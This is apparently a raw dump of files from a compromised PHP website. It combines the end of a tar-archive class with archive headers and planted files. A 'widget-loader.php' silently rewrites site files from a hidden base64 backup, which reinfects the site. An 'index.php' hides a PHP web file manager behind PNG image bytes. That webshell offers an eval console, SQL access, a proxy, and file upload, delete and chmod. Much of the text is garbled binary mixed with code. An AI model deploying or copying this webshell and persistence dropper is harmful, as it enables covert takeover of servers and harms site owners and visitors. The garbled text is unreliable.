		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      widget-loader.php.tar                                                                               0000644                 00000005000 15243251040 0010560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      index.php.tar                                                                                       0000644                 00000240000 15243251040 0007141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
